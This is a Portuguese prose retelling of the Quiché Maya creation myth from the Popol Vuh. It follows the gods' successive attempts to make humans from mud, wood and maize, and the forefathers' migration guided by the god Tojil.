Uma lenda do Popol-Vuh (Guatemala)
os AVÓS
ENTÃO não havia gente, nem animais, nem árvores, nem pedras, nem nada. Tudo era terra agreste, desolada e sem limites. Sobre as planícies o espaço jazia, imóvel, enquanto que, sobre o caos, descansava a imensidade do mar. Nada estava junto nem ocupado. O de baixo não tinha semelhança com o de cima. Coisa alguma via-se de pé. Sentia-se apenas a tranqüilidade surda das águas, que pareciam despenhar-se no abismo. No silêncio das trevas viviam os deuses chamados: Tepeu, Gucumatz, e Hurakan, cujos nomes guardam os segredos da criação, da existência e da morte, da terra e dos seres que a habitam.
Quando os deuses chegaram ao lugar onde estavam depositadas as trevas, falaram entre si, manifestaram seus sentimentos, e puseram-se de acordo sobre o que deviam fazer.
Pensaram como fariam brotar a luz, que receberia alimento da eternidade. A luz se fêz, então, no seio do incriado. Contemplaram assim a natureza original da vida que está na entranha do desconhecido. Os deuses propícios viram logo a existência dos seres que iam nascer: e, diante dessa certeza, disseram:
— É bom que se esvazie a terra e se separem as águas dos lugares baixos, a fim de que esses possam ser lavrados. Neles a semeadura será fecundada pelo orvalho do ar e pela umidade subterrânea. As árvores crescerão, irão cobrir-se de flores, darão frutos, espalharão suas sementes. Dos frutos colhidos comerão os povoadores que hão de vir. Desse modo, terão natureza igual à de sua comida. Nunca terão outra. Morrerão, no aia em que cheguem a tê-la diferente.
Assim, ficou resolvida a existência dos campos onde viveriam os novos seres. Então, afastaram-se as nuvens que enchiam o espaço existente entre o céu e a terra. Debaixo delas, e sobre a água da superfície, começaram a aparecer os montes e montanhas que hoje se vêem. Nos vales formaram-se bosques de ciprestes, carvalhos, cedros e álamos. Um aroma agridoce desprendeu-se daqueles bosques de seiva riquíssima. Depois foi aberto o caminho que dividiu o espaço seco e o espaço úmido.
Ao ver o feito, os deuses disseram:
— A primeira criação foi concluída, e é bela diante de nossos olhos.
A seguir, quiseram terminar a obra que se haviam proposto. Disseram, então:
— Não é bom que as árvores cresçam sozinhas, rodeadas de sombras. É necessário que tenham guardas e servidores.
Dessa maneira resolveram colocar, sob os ramos, e junto dos troncos enraizados na terra, os animais que se nomeiam abaixo, e que obedeceram ao mandado dos deuses, mas permaneceram inertes no lugar de seu nascimento, como se fossem cegos e insensíveis. Perambulavam sem ordem nem concordância, tropeçando nas coisas que encontravam em sua frente. Ao ver aquilo, os deuses disseram:
— Tu, animal, beberás nos rios, dormirás em covas, andarás de quatro patas e terás a cabeça abaixada. Em teu dia, teu lombo servirá para levar carga. E por tudo isso não resistirás nem farás alarde de rebeldia, nem sequer de cansaço. Tu, pássaro, viverás nas árvores e voarás pelos ares, alcançarás a região das nuvens, roçarás a transparência do céu e não terás medo de cair. E assim te multiplicarás e teus filhos e os filhos de teus filhos farão o mesmo e seguirão não, em tudo, teu exemplo e tua graça.
Os animais e os pássaros cumpriram o que lhes foi mandado: os primeiros buscaram guaridas, ou prados; e os pás-saros fizeram, entre os galhos, seus ninhos.
Quando aqueles seres ficaram tranqüilos nos lugares de seu agrado e conveniência, os deuses juntaram-se outra vez e disseram:
— Todo o ser bruto deve estar submisso dentro de seu unindo natural, mas nenhum deles há de viver em silencio, que o silêncio é desolação, abandono e morte.
Depois, com voz que retumbou pelos âmbitos do espaço, um dos deuses chamou-os e disse-lhes:
— Agora, segundo vossa espécie, deveis dizer nossos nomes para que saibais quem vos criou e quem vos sustenta. Falai conosco e viremos em vosso socorro. Assim seja feito.
Mas os animais não falaram: sem saber que fazer, conservaram-se atônitos. Pareciam mudos, como se em suas gargantas tivessem morrido as vozes inteligentes. Apenas souberam gritar, segundo era próprio da classe a que pertenciam. Ao ver aquilo, os deuses, pesarosos, disseram entre si:
— Isto não está bem. Será forçoso dar-lhe remédio, antes que seja impossível fazer outra coisa.
A seguir, e depois de se reunirem em conselho, dirigiram-se novamente aos animais e aos pássaros, desta maneira:
— Por não terdes sabido falar conforme a ordem, tereis modo de viver diferente e comida diferente. Já não vivereis em comunhão pacífica: cada qual fugirá de seu semelhante, temeroso de sua má vontade e de sua fome, e procurará lugar onde oculte sua incapacidade e seu medo. Assim o fareis. E sabei mais: por não terdes falado nem tido consciência de quem somos, nem dado mostras de entendimento, vossas carnes serão destroçadas e comidas. Entre vós mesmos vos triturareis e vos comereis uns aos outros, sem repugnância. Este, e não outro, será vosso destino, porque assim queremos, por justiça, que seja.
Ao ouvir aquilo, os irracionais sentiram-se desdenhados e quiseram recobrar a preponderância que tinham tido. Com ridículos esforços ensaiaram uma possível maneira de falar.
Naquele ensaio foram tão desajeitados, que só gritos saíram de suas gargantas e de seus focinhos. Nem conseguiram entender-se entre si, ao menos. E, assim, não se livraram da situação em que se encontravam perante os deuses. Então, estes os abandonaram à sua sorte, entre a maleza e a imundície em que se debatiam. Ali ficaram, resignados, suportando a sentença ditada para eles. Depressa seriam perseguidos e sacrificados, e suas carnes despedaçadas, cozidas e devoradas pelas gentes de melhor entendimento, que iam nascer.
Os deuses idearam novos seres capazes de falar, e de recolher, em hora oportuna, o alimento semeado e crescido sobre a terra. Disseram:
— Que faremos para que as novas criaturas a aparecer saibam chamar-nos pelos nossos nomes, e tenham entendimento, porque é justo que devem invocar-nos como a seus criadores e seus deuses? Lembremo-nos de que os primeiros seres que fizemos não souberam admirar nossa formosura e nem sequer se deram conta de nosso esplendor. Vejamos se, por fim, podemos criar seres mais dóceis aos nossos intentos.
Depois de dizer tais palavras, começaram a formar, com barro úmido, as carnes do novo ser que imaginavam. Modelaram-no com atenção. Pouco a pouco o fizeram, sem descuidar pormenor. Quando ficou completo, perceberam que também aquele, por desgraça, não servia, já que não passava de um monte de barro negro, com pescoço reto e rígido, boca desdentada, larga e torcida, e olhos cegos, descoloridos e vazios, colocados sem arte à altura diferente e de cada lado do rosto, perto das têmporas. Viram, além disso, que aqueles bonecos não podiam permanecer de pé, porque se desmoronavam, desfazendo-se em água. Entretanto, o novo ser teve o dom da palavra, que soou harmoniosa, como jamais música alguma havia soado nem vibrado sob o céu. Os bonecos falaram, mas não tiveram consciência do que diziam, e assim ignoraram o sentido de suas palavras. Ao ver aquilo, os deuses disseram:
— Vivereis, apesar de tudo, enquanto não vêm seres melhores. Vivereis enquanto não chegarem os que vos hão de substituir. Nessa espera lutareis para multiplicar-vos e melhorar vossa espécie.
E assim sucedeu. Os deuses contemplaram com tristeza aqueles seres frágeis que se afastavam, e disseram:
— Como faremos para formar outros seres que lhes sejam deveras superiores, que ouçam, falem, compreendam o que dizem, invoquem-nos, e saibam o que somos e o que sempre seremos no tempo?
Em silêncio e meditação ficaram enquanto se desenvolviam as tremendas manifestações da noite. Então, a luz de um relâmpago iluminou a consciência da nova criação.
Os novos seres foram feitos de madeira, para que pudessem caminhar com retidão e firmeza sobre a face da terra.
As estátuas formadas pareciam gente de verdade: juntaram-se, reuniram-se em grupo, e, ao fim de um certo tempo, procriaram. Mas em suas relações mostraram não possuir coração. Eram surdos aos sentimentos. Não podiam entender o fato de constituírem seres vindos à terra pela vontade dos deuses. Caminhavam pelas selvas e pelas veredas abertas nas encostas das montanhas, margeavam o curso dos rios e subiam até a mais alta copa das árvores. Andavam como seres abandonados, sem norte nem destino. Sempre estavam a ponto de tombar. E, quando caíam, não mais se levantavam. Pereciam entre o lodo. Em sua estupidez não adivinharam nem sua origem, nem o lugar em que se achavam, nem o caminho que seguiam. Perambulavam como seres inúteis. Eram mortos vivos. E como ao final de muito tempo também não compreenderam quem eram os deuses, caíram em desgraça. Falavam, tinham conhecimento do que diziam, mas não havia em suas palavras expressão nem sentimento. Ademais, como não tinham coração justo, nem pernas ágeis, nem mãos fortes, nem entranhas úteis, terminaram por se fazer um estorvo. Em sua estupidez, não compreendiam, também, a presença dos deuses, pais e senhores de tudo quanto respira e amadurece. Viveram durante várias gerações enganados pela rigidez e egoísmo de seus espíritos. A fatalidade quis que também não fossem melhores que nenhum dos seres antes castigados. Quando puderam falar, notou-se que o ruído de suas palavras não tinha razão nem ordem. Seus rostos trigueiros, como a cor da terra, permaneceram imóveis, rígidos. Pela sua lentidão, pareciam estúpidos, e por essa causa também foram condenados a morrer. Quando menos o esperavam, veio sobre eles uma chuva de cinza que fêz sombria sua existência. A cinza caiu sobre seus corpos, violenta e constantemente, como se fosse atirada com fúria por mão forte e lá de cima. Depois, os deuses resolveram que a terra voltasse a se encher de água, e que esta corresse por toda a parte e caísse nos abismos e nos barrancos, enchendo-os, e subisse sobre as rochas e os montes, para além dos cumes, e roçasse a franja das nuvens. Assim sucedeu. Aquela inundação, que durou muitas luas, tudo destruiu. Entretanto, os deuses fizeram novos seres com nova substância natural. De tzite foi feito o homem, de espadana a mulher. Mas essas figuras também não corresponderam às esperanças de seus criadores. Por isso, apresentou-se o pássaro Xecotcouah, que cravou suas garras na terra e tirou com o bico os globos dos olhos daqueles seres. Veio depois o felino Cotzbalam, que esgara-vatou seus corpos, rasgou suas veias e mastigou seus ossos, até deixá-los transformados em lascas. Vieram depois outras feras não menos cruéis, que se cevaram em seus despojos. Aconteceu que, ao passar-se aquilo, a terra escureceu com grande escuridão e de muito medo, como se descesse sobre o criado um manto espesso e coberto de trevas. No meio daquela desolação, e ante os sobreviventes que se debatiam na angústia da morte, quase sem esperança de salvação, apresentaram-se os pequenos seres, cuja alma tinha sido invisível até então. Irritados, vociferando, puseram-se a dizer coisas terríveis e altivas. Aos que ainda respiravam, disseram:
— Deveis ouvir-nos, porque é justo. Pensastes que somos coisas vazias. Este foi o vosso engano. Fizeste-nos sofrer, mas já nos cansamos de tanta iniqüidade. Agora, sofrereis castigos tremendos. De agora em diante vossa carne será comida.
As pedras de moer disseram:
— Vós nos gastastes. Dia a dia, do amanhecer até a noite, estivestes raspando-nos e amolando. Sempre estáveis mói-que-mói sobre nossos ventres endurecidos e negros. Continuamente ouvia-se o holi-holi e o hogui-hogui que a massa de milho fazia, batida sob o nosso braço e sobre nosso peito e sobre nossos ombros. Por nossas patas escorriam resíduos úmidos e odorantes. Tal era vossa maldade e nosso sofrimento. Tudo suportávamos com resignação e silencio, porque pensávamos que havíeis de estimar nosso sacrifício. Porém, como foi grande o nosso engano! Vimos, ao fim de muito tempo, que nada merecíeis. Agora, sentireis nossa força: esta será nossa vingança e esta será vossa ruína.
E a seguir, disseram os cães:
— Quantas vezes, por culpa vossa, passamos sem comer, sem lamber um osso, sem beber um gole de água, nem conseguirmos, para dormir, um recanto de terra fresca. Mortos de fome e sede, desfalecidos, com a língua de fora, ficamos como trastes inúteis na caixa do lixo da choupana! De longe olhávamos para vós, com olhos de medo e súplica. Encurralados e trêmulos vivíamos, se era vida aquela que sofríamos por vossa causa. Ficávamos sempre de pé em vossa presença. Se nos aproximávamos para olfatear vossas mãos, expulsos éramos, com palavras rudes ou golpes de vossos pés. Ainda doem nossas ancas e ainda temos chagadas nossas costas. Com tal dureza e tirania fomos tratados sempre em vossas casas e em vossos solares. Porém, imbecis, por que não compreendestes que isto teria que acontecer um dia? Tarde ou cedo devia chegar a hora em que tudo aquilo acabaria. Agora nos levantamos diante de vós: inofensivos estais, mal vos podeis valer. Temos piedade de vossa ruína. Agora, teremos de vos despedaçar e matar. Isso faremos, sem consideração e sem compaixão. É inútil que vos defendais. Sabeis que também não tendes tempo para lamentações. Agora mesmo, ainda que vos pese, sentireis a força que temos encerrada em nossos focinhos e em nossas patas.
As panelas disseram:
— Fizeste-nos sofrer, queimando e defumando nossas bocas, nossas orelhas, nossas barrigas e nossos pescoços. Sempre nos mantivestes sobre o fogo ou sobre as brasas. Com tanto calor, nossa carne rachou. Para descansar, deixadas éramos por vós sobre a cinza quente ou junto ao rescaldo. Duro e interminável foi o nosso trabalho. Ninguém tinha pena de nós, nem piedade, por mais que fizéssemos, cantando à noite nos recantos escuros das cozinhas ou junto ao fogão dos pátios. Ninguém nos deu paz nem sossego, nem nos ofereceu repouso e consolo. Mas esse martírio já terminou. Agora, vamos comer-vos. Antes, porém, havemos de torturar-vos, pondo vosso ventre na grelha, sobre fogueiras. Seremos surdas ao vosso clamor.
Os jarros disseram:
— Muita e constante dor nos causastes. Não queremos nem lembrá-la, por que assim nos excitaríamos e nos zangaríamos cada vez mais. Agora, porém, chegou o momento de nossa desforra. Duro será para vós esse tempo, porque virá uma tempestade de granizo e de nevada sobre vossas costas nuas.
Quando aquelas contrafacções humanas ouviram tantas acusações, espantados, trêmulos, juntaram-se como espigas novas. Assim, aconchegados uns aos outros, fugiram daquele lugar, como se escapassem a uma região assolada pela peste. Como puderam, estonteados, atropelando-se, subiram sobre o teto das casas, mas as armações e as vigas desmoronaram. Subiram às árvores, mas os galhos quebraram-se. Entraram em covas, mas as paredes vieram abaixo. Entretanto, os que não morreram sob as choças nem estalaram os ossos tombando das árvores, nem derramaram seu sangue embaixo, nas covas, cegos de medo e cólera acabaram por despedaçar-se entre si. Os poucos que não sofreram prejuízo, transformaram-se, como lembrança da simplicidade de seu coração, em macacos. Estes se foram e se perderam no monte, enchen-do-o com a algazarra que saía de seus focinhos. Por isso, os macacos são os únicos animais que se assemelham aos primitivos seres humanos da terra guiché e lhes evocam a forma.
Então os deuses juntaram-se outra vez e trataram da criação de novas gentes, que seriam de carne, osso e inteligência. Apressaram-se a fazer isso, porque tudo devia estar concluído antes do amanhecer. Por essa razão, quando viram que no horizonte começavam a notar-se vagas e tênues luzes, disseram:
— Esta é a hora propícia para abençoar a comida dos seres que logo povoarão esta região.
E assim o fizeram. Abençoaram a comida que estava regada no seio daquelas paragens. Depois, disseram orações, cuja ressonância se foi espalhando sobre a face do criado, como se fosse rajada de alfazema, que encheu os ares de bons aromas. Não houve ser visível que não recebesse seu influxo. Esse sentimento foi como que parte da origem da carne do homem. Na ocasião em que tal coisa sucedia, pouco faltava para que o sol, a lua e as estrelas aparecessem no céu. De lugares ocultos, cujos nomes são revelados nas
crônicas, baixaram, até os pontos apropriados, o Gato, a Raposa, o Papagaio, o Periquito e o Corvo. Aqueles animais trouxeram a notícia de que as espigas de milho amarelo, vermelho e branco, estavam crescidas e maduras. Por aqueles mesmos animais foi descoberta a água que seria metida entre as fibras da carne dos novos seres. Mas os deuses colocaram-na primeiro entre os grãos daquelas espigas.
Quando tudo o que se disse foi revelado, as espigas foram debulhadas, e com os grãos soltos, desmanchados em água de chuva exposta ao sereno, fizeram eles as bebidas necessárias para a criação e para o prolongamento da vida dos novos seres. Então, os deuses lavraram a natureza dos referidos seres. Com a massa amarela e com a massa branca moldaram e formaram a carne do tronco, dos braços e das pernas. Para dar-lhes vigor, colocaram juncos por dentro. Criaram assim apenas quatro seres de razão. Assim que os corpos foram feitos e ficaram completos, com os membros torneados e dando sinais de possuírem movimentos apropriados, pediram-lhes que falassem, vissem, sentissem, caminhassem e apalpassem tudo quanto existia e se agitava em torno deles. Depressa mostraram a inteligência de que tinham sido dotados, porque, com efeito, como coisa natural que saiu de seus espíritos, compreenderam e souberam qual era a realidade que os rodeava. Souberam, também, o que havia sob o céu, o que se erguia acima da terra, e o que fremia dentro do espaço oculto e habitado pelo vento. Embora a superfície da terra estivesse ainda mergulhada nas trevas, tiveram poder para contemplar o que não tinha nascido nem era revelado. Mostraram possuir sabedoria, a qual, apenas pela sua vontade, comunicaram ao miolo das plantas, ao tronco das árvores, às entranhas das pedras e à fogueira enterrada no ôco das montanhas. Esses seres foram Balam Çuitzé, Balam Acab, Mahucutah, e Iqui Balam.
Quando os deuses presenciaram o nascimento daqueles seres, chamaram o primeiro e lhe disseram:
— Fala e dize-nos por ti e pelos demais que te acompanham: que idéias tens sobre os sentimentos que te animam? É bom e airoso teu modo de andar? Usas com graça teu olhar? É justa e clara a linguagem que falas? Sempre podes recordar-te das coisas? Entendes o que se diz e o que se sugere? Se tudo o que fizeres fôr perfeito, ser-te-á dado ver o que está depositado nas coisas com força de
frutificação. Se assim é, deves ir recolher essa possibilidade, e possuí-la. Faze com que teus irmãos procedam da mesma maneira que tu. Se não fôr assim, permanece quieto em teu lugar. Não te movas dele e faze com que teus irmãos sigam o teu exemplo. Todos devem ter a medida de seu poder.
Ao ouvir essas palavras, os novos seres vivos viram que eram perfeitos seus sentidos e quiseram mostrar seu agradecimento. .Para mostrá-lo, Balam Quitzé falou, em nome dos demais, desta maneira:
— Destes-nos a existência: por ela sabemos e somos o que somos, por ela falamos e andamos e conhecemos o que está em nós e o que está fora de nós. Assim é que podemos entender o grande e o pequeno, e mesmo o que não existe ou não está revelado diante de nossos olhos. Assim percebemos já onde descansam e se apoiam as quatro esquinas do mundo, que marcam os limites do que nos rodeia, por baixo e por cima.
Saiba-se, entretanto, que os deuses não viram com agrado as considerações que de seu próprio saber fizeram, com tanta franqueza, os novos seres. Por isso, os deuses conversaram entre si, e disseram:
— Eles compreendem o que é grande e o que é pequeno e sabem a causa dessa diferença. Pensemos nas conseqüências que pode ter esse fato no exercício da vida. A energia dessa lucidez será nociva. Que faremos para remediar o perigo que se desprenderá de tão evidente atividade? Meditemos nisso. Façamos com que os novos seres conheçam uma parte da terra que os rodeia. Apenas alguma coisa do que existe lhes será revelado. Não poderão conhecer tudo, porque não saberiam compreender seu sentido e muito menos usá-lo com proveito. Iriam enganar-se com o segredo que mantém a ordem no caos. É preciso limitar-lhes as faculdades. Assim, diminuirá seu orgulho. Os desmandos que cometerem serão de menor alcance. Se os abandonarmos e chegarem a ter filhos, estes, sem dúvida, compreenderão mais do que seus avós, e haverá um momento em que compreenderão tanto quanto os próprios deuses. Por isso, é preciso reformar seus desejos e seus sonhos, para que não se aturdam nem se envaideçam quando surja a claridade do dia que já vem. Se não fizermos isso, pretenderão, em sua loucura e desvio, ser tanto ou mais do que nós. Estamos em tempo de evitar esse perigo, que será fatal para a ordem fecunda da criação.
A fim de que aqueles seres não ficassem sozinhos, os deuses criaram outros seres, do sexo feminino. Formaram-nos COmo vamos contar: adormeceram os varões e enquanto eles dormiam criaram as mulheres. Junto deles colocaram-nas, nuas e quietas, como se fossem bonecos de madeira polida. Quando os varões despertaram, viram-nas com júbilo, porque, com efeito, eram formosas. Ao contemplá-las tão esbeltas, de pele lustrosa e lisa, e de tão plácido aroma, sentiram-se cheios de alegria e complacência e tomaram-nas como companheiras. Depois, para distingui-las, puseram-lhes nomes apropriados, que eram nomes encantadores. Cada nome evocava a imagem da chuva segundo as estações. Uma vez tendo os pares se contemplado com deleite, e se conhecido na intimidade de seus corpos, engendraram novos seres com os quais a terra começou a povoar-se. Muitos desses seres nascidos foram, com o tempo, grandes e destros, e possuíram artes difíceis, jamais reveladas aos vulgares. Por essa razão, os deuses, lá nas trevas, escolheram-nos para Adoradores e Sacrificadores, ofícios de dignidade que não assentam nem convêm a qualquer um. As primeiras gentes engendradas tiveram a mesma beleza de suas mães e o mesmo poder de seus pais, e souberam adivinhar o mistério de sua origem.
Dessa maneira, Balam Quitzé e os outros avós foram o princípio das gentes que vieram depois e se desenvolveram durante as peregrinações e a estabilidade das tribos do povo quiché. Não esqueçam os nomes que dizemos, a fim de poderem conhecer a estirpe dos que nasceram depois. Aqueles seres primitivos se propagaram pela terra que está na região do Oriente.
Durante algum tempo viveram tranqüilos, mas depois decidiram, por motivos que se ocultam, a partir para rumos estranhos, que são designados como o das covas e dos barrancos. Assim, saíram do lugar onde até então haviam vivido prisioneiros. Em sua peregrinação subiram montanhas e cordilheiras. Ao cruzar os cimos sofreram, com dor indizível, o frio daqueles lugares, porque o fogo que traziam consigo extinguiu-se sob as rajadas lá dos altos. Entre suas mãos a brasa se fêz cinza e fumaça. Aquilo foi uma fatalidade e uma provação. Tiveram que se deter. Quase chegaram a voltar para o lugar de sua primeira estada, tão cruel era o martírio que sofriam sob as nevadas dos cimos das montanhas. Vendo aquilo, Balam Quitzé, desesperado, disse:
— Tojil, dá-nos outra vez o fogo que nos legaste. Dá-nos o fogo, porque minha gente perece de frio.
Tojil, pela primeira vez desde a peregrinação, falou:
— Digo-te que não deves afligir-te nem desesperar-te, porque, na hora devida, terás, com os teus, o fogo que perdeste. Fortalece, entretanto, tua paciência e faze que tua gente faça o mesmo. As privações que sofreis não se prolongarão por muito tempo.
Balam Quitzé transmitiu tais palavras a sua gente. Então, aqueles seres, cheios de esperança, juntaram-se, e para aquecer-se roçavam-se uns nos outros, dançavam sem cessar, e batiam no peito com as mãos. E sopravam seu alento sobre os rostos álgidos. Notando tão resignado sofrimento, Tojil, na obscuridade que lhe era propícia, com uma pedra bateu no couro de sua sandália, e dela, num instante, brotou uma chispa, depois um brilho, e em seguida uma chama. E o novo fogo luziu, esplendoroso. Ao vê-lo luzir, tomou-o entre as mãos e deu-o a Balam Quitzé, a fim de que fosse repartido entre todos os seres. Estes, que já morriam de frio, receberam-no cheios de regozijo. Com êle aqueceram-se. Reviveram, e tiveram ânimo para respirar à vontade e continuar a viagem.
Naquela altura, entretanto, chegaram as tribos que se haviam atrasado. Com maior urgência clamavam pelo fogo que tinham perdido. Causava compaixão vê-las e ouvi-las. Suas gentes mostravam-se tolhidas e inteiriçadas pelo frio que sentiam, e que lhes havia chegado até os ossos. As carnes de seu corpo rachavam, fendiam, enchiam-se de gretas e destilavam água e pus. Seus pés eram chagas que se abriam sobre as pedras. Não podiam falar, porque seus dentes chocavam-se uns contra os outros, mordendo a língua que sangrava e caía em pedaços. Diante dos que já tinham o fogo, diziam:
— Por piedade, não vos envergonheis de nós porque com estas palavras e estas mãos vos rogamos que nos deis parte do fogo que recebestes. Se não nos derdes fogo, morreremos. Já não é mais possível continuar a sofrer o frio que angustia nossas carnes!
Balam Quitzé ouviu, sem entender quase, o que diziam aqueles seres, e fêz-lhes sinal para que se aproximassem. Quando os viu próximos e submissos, gritou-lhes assim:
— Dizei-me: que língua falais? De onde tirastes esses ruídos estranhos que saem de vossas bocas? Por acaso já não sabeis o idioma que todos usávamos na terra de Tulan? Que fizestes das palavras que conhecíamos antes e nos eram familiares e gratas? Em que confusão tombastes? Por que nos olhais assim com rostos estonteados, sem dar sinais de entendimento nem de sensibilidade? Pareceis mudos, apesar da tagarelice de vossas bocas.
Dizia isso com tom iracundo, com disposição colérica, com desejo de maltratar aqueles seres. Se lhe fosse possível, teria acabado com eles. Já se retiravam os outros, debruçados sobre si mesmos, quando, de súbito, apareceu um enviado de Tojil, que desta maneira falou:
— Tendes de saber, próprios e estranhos, que Tojil é o nosso deus. Aos que já têm fogo, eu lhes digo: não o compartilheis senão até que as tribos atrasadas digam o que darão por êle. Justo será esse castigo por seu descuido, e porque, sem razão, mudaram de língua.
O enviado que assim falou era alto e moreno, e tinha nas costas asas lustrosas, como de morcego. Com as palavras que disse e que todos ouviram e adivinharam, os seres atrasados voltaram a reclamar o fogo, porque, realmente, já não podiam viver na situação em que se encontravam. Nus, ocultavam as mãos sob as axilas, e gemiam como ratazanas molhadas. Diante dos avós voltaram a dizer:
— Não vos compadeceis de nossa desgraça? Não nos juntamos antes sob o mesmo teto, junto da mesma árvore, enquanto bebíamos, em vasilha igual, nossa bebida comum? Sem discórdia nem rancor não acendemos, avivamos e gozamos o fogo que herdamos de nossos antepassados? Se é para sofrer tanto, por que saímos de Tulan, quando ali tínhamos paz, alegria, sonhos plácidos, sob as noites que se refletiam nas águas dos lagos?
Respondeu-lhes quem pôde:
— Já não ouvistes? Que nos dareis em troca do fogo que perdestes e que agora temos?
Um dos que estavam mais próximos, disse:
— Daremos os metais preciosos que trouxemos de nossas antigas casas dali de cima e dali de longe.
— Não os queremos.
— Então, que quereis?
— Esperai. Depressa sabereis o que solicitamos em troca do nosso fogo.
Os Avós afastaram-se, e, em lugar adequado e oculto falaram com a sombra de Tojil (que sua figura corpórea ainda não podiam ver) e disseram-lhe:
— Tojil, ouve-nos e responde-nos: que deveremos pedir às tribos atrasadas em troca do fogo que querem com tanta urgência?
Tojil respondeu:
— Quando os tímbalos soarem quererão elas prestar-nos adoração e oferecer-nos o tributo de suas vidas, sem medo e sem repulsa? Se aceitarem essas condições, dizei-lhes que não demorem a mostrar seu assentimento.
Os Avós transmitiram a resposta de Tojil. Ao ouvir tais condições, as gentes atrasadas, sem se conter, sem medir a rudeza da prova, gritaram, felizes:
— Aceitamos Tojil, recebemo-lo como deus e o adoraremos conforme o ordenado e nos submeteremos às exigências de seus Sacrificadores!
Quando disseram isso receberam o fogo que já as tribos de Balam Quitzé tinham multiplicado. Com o fogo que receberam recobraram as forças. Tornaram a ter tranqüilidade, vida, razão e alegria. Estavam satisfeitos como se nunca tivessem sofrido nada. Em seu contentamento começaram a cantar canções que, cheias de dulçor, saíam de suas bocas. O prazer apaga a lembrança do sofrimento. Queimaram depois madeiras resinosas e beberam sucos de frutas ácidas. Tojil, ao ver tanta submissão, já não exigiu o sacrifício que havia pedido.
Mal aquelas tribos receberam o fogo, outra tribo, com fama de belicosa, atreveu-se a tomá-lo, de maneira violenta e oculta, das próprias mãos das gentes que o tinham. A tribo que a tanto se atreveu vivia sob o mando do deus Chamalkan. Esse deus tinha forma de vampiro e mostrava grandes garras pontiagudas e curvas como as de uma águia, orelhas como que roídas pelos ratos, e dentes brancos, compridos e afiados. Aquela tribo tinha fama de não saber pedir nem mendigar nada: nem comida, nem cama, nem terra, nem sombra de árvore. Tudo tomava, como coisa sua, de modo violento, sem deter-se ante a resistência nem ante a morte do contrário ou do inimigo. Tinha, entretanto, uma virtude: contente e submissa sabia entregar, para o sacrifício, os escravos que engordava em gaiolas de junco. Os Sacrificadores recebiam-nos com alvoroço. Adoravam-nos e depois, em cerimônia de aparato e ostentação, arrancavam-lhes as entranhas. Aquela tribo trazia, dos lugares de sua procedência, entre outras coisas boas, o hábito do jejum. Jejuava conforme um rito cujo símbolo guardava em segredo. Nos dias assinalados em seu calendário, comia apenas migalhas de pão e grãos de trigo. Ficava sem nada tomar durante um tempo que era contado com precisão. Nunca havia falhado nesse costume, que vinha desde os tempos antigos de sua origem. Recreava-se na solidão em que vivia. Era capaz de contemplar a estrela da manhã, e com sua beleza e resplendor consolava-se de suas penas. Sob seu signo aprendeu a ter fé no destino que lhe estava reservado. Graças àquela fé, pôde, por fim, ouvir as palavras de Tojil, quando este disse às tribos submissas e congregadas:
— Ouvi o que agora vos digo. Pela inteireza de que destes prova, modifico a lei que deveis acatar. Em sinal de sacrifício, sangrareis apenas as orelhas e os cotovelos: fazei isso com bom ânimo e rosto sorridente. Mostrai coragem diante de mim, porque a covardia antes vos servirá de dano do que de proveito.
Assim foi como, de bom grado, aquela tribo indócil se submeteu. Salvou-a a fé que levava no coração. Sobre todas as tribos, desde então, Tojil espalhou os benefícios de seu poder e de sua influência.
Com o auxílio dos deuses que mencionamos, abandonaram as gargantas e os desfiladeiros e foram até os lugares em que se via o mar — do qual tinham notícias vagas e misteriosas — e avançaram mais para o Sul, e se internaram por lugares de pântanos e charcos, cheios de perigos e dificuldades. Por isso, os Avós, angustiados, disseram:
— Tojil, não nos abandones: dá-nos tua palavra, mostra-nos o caminho que tu, antes de ninguém, conheces, e pelo qual iremos até a terra que, em silêncio, nos prometeste. Não nos deixes caídos.
Quando os Avós consideraram que seria conveniente, anunciaram a segunda parada que deviam fazer. Estavam em terra estranha e pedregosa, mas não lhes foi possível nela acampar por muito tempo, porque era cruzada de barrancos, abismos e gretas, de onde saíam animais imundos, que contaminavam o ar com peste, medo e ruído. A água que encontraram era escura, e os ventos sopravam rijos. Os galhos dobravam-se à beira de caminhos desfeitos — lugares por onde outrora haviam corrido rios e torrentes. Por isso, sem esperar ordem, abandonaram aquelas paragens que não serviam para repouso das gentes. Continuaram caminhando. Caminharam por terras que já tinham sido percorridas por outros viajantes. Adiantaram-se por veredas sinuosas, que abundante maleza margeava. Cruzaram a planície de extensos lameiros, cobertos de enxames de bichos venenosos, que atacavam com fúria os caminhantes. Não se detiveram senão quando os Avós ordenaram a terceira parada. Estavam na terra de Chi Pixab, onde havia outeiros propícios para que as gentes se abrigassem das feras que se espalhavam por ali. Lutaram contra elas de forma desesperada. Sem cessar, morriam homens às garras dos tigres que espreitavam, ou pereciam entre os dentes dos lagartos que deslizavam pela margem das aguadas e sob as malangas dos charcos. Lutaram com ânimo aflito, sem tempo para descansar nem para obter refúgio mais seguro. Em vista disso, os Avós consultaram novamente Toju, e, segundo seu parecer, resolveram levantar acampamento e continuar a peregrinação até os lugares que mais adiante mencionaremos. A nova parada foi feita junto de uma planície terrosa. Então, Tojil disse aos Avós:
— Também não é conveniente que vos detenhais aqui. Depressa estas passagens serão assoladas pelos ventos que descem dos montes longínquos, os que cobrem o horizonte do Sul. Caminhai mais, até que recebais um sinal. Prestai atenção na hora do amanhecer que se avizinha. Nessa hora sabereis distinguir melhor o lugar que convém e que está assinalado no calendário que ainda não conheceis.
Os Avós, depois de se reunirem em conselho, disseram, então:
— É verdade: procuremos outras paragens mais adiante, para nossa segurança e para nosso gozo. Avancemos até os limites dos horizontes, onde se destaca a sombra desse monte: cheguemos a êle quanto antes.
Desarmaram suas choças, carregaram a pedra de seus deuses, e continuaram caminhando. Os Avós iam adiante olho alerta. Em todos nasceu o pressentimento de que o Final da jornada se aproximava. No coração dos homens cresceu a energia, e no das mulheres, dos anciãos e das crianças diminuiu o cansaço. Ao cabo não se sabe de quanto tempo chegaram aos limites do monte que tinham visto. Era alto, de encostas escarpadas, vegetação espessa, entre espinhosa e plácida. Chamaram-no, desde que o viram, com o nome de Hacavitz. Subiram a êle pelas vertentes do ocaso, arrastando-se entre pedras e malezas, e, ao chegarem ao cimo, os mais audazes anunciaram que este era amplo e sólido, e oferecia lugar para o repouso.
